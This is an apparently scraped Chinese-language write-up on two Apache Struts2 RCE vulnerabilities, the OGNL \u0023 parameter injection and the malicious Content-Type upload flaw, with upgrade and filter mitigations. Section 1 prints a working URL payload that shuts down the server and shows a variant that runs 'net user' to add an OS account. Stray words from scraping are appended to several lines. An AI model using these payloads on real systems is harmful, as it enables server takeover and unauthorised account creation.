1、html
在Struts2的Model-View-Controller模式實現如下五個核心組件:動做-Actions、攔截器-Interceptors、值棧/OGNL、結果/結果類型、視圖技術java
Struts2的核心是使用的webwork框架,處理 action時經過調用底層的getter/setter方法來處理http的參數,它將每一個http參數聲明爲一個ONGL語句。 當咱們提交一個http參數: ?user.address.city=Bishkek&user['favoriteDrink']=kumys web
ONGL將它轉換爲:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是經過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
爲了防範篡改服務器端對象,XWork的ParametersInterceptor不容許參數名中出現「#」字符,但若是使用了Java的 unicode字符串表示\u0023,攻擊者就能夠繞過保護,修改保護Java方式執行的值:
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊apache
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉義後是這樣:安全
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是
java.lang.Runtime.getRuntime().exit(1); //關閉程序,即將web程序關閉
相似的能夠執行服務器
java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增長操做系統用戶,在有權限的狀況下能成功(在URL中用%20替換空格,%2F替換/)網絡
只要有權限就能夠執行任何DOS命令。框架
解決方法:測試
最簡單的方法爲更新struts2的jar包爲最新版本,便可!spa
2、
It is possible to perform a RCE attack with a malicious Content-Type
value. If the Content-Type
value isn't valid an exception is thrown which is then used to display an error message to a user.
If you are using Jakarta based file upload Multipart parser, upgrade to Apache Struts version 2.3.32 or 2.5.10.1. You can also switch to a different implementation of the Multipart parser.
No backward incompatibility issues are expected.
Implement a Servlet filter which will validate Content-Type
and throw away request with suspicious values not matching multipart/form-data
.
Other option is to remove the File Upload Interceptor from the stack, just define your own custom stack and set it as a default - please read How do we configure an Interceptor to be used with every Action. This will work only for Struts 2.5.8 - 2.5.10.
.官方解決方案
官方已經發布版本更新,儘快升級到不受影響的版本(Struts 2.3.32或Struts 2.5.10.1),建議在升級前作好數據備份。
臨時修復方案
在用戶不便進行升級的狀況下,做爲臨時的解決方案,用戶能夠進行如下操做來規避風險:
在WEB-INF/classes目錄下的struts.xml 中的struts 標籤下添加
<constant name="struts.custom.i18n.resources" value="global" />
在WEB-INF/classes/ 目錄下添加 global.properties,文件內容以下:
struts.messages.upload.error.InvalidContentTypeException=1
配置過濾器過濾Content-Type的內容,在web應用的web.xml中配置過濾器,在過濾器中對Content-Type內容的合法性進行檢測:
3.技術解決方案
對於沒有網絡防禦設備的企業,可使用專業廠商的防禦設備進行防禦;或者使用專業安全廠商的針對性安全服務對已有業務進行漏洞排查和修復。正在使用安全防禦設備的企業,目前各大安全廠商都已經推出針對該漏洞的緊急升級包,請及時升級已有防禦設備的防禦規則和檢測規則。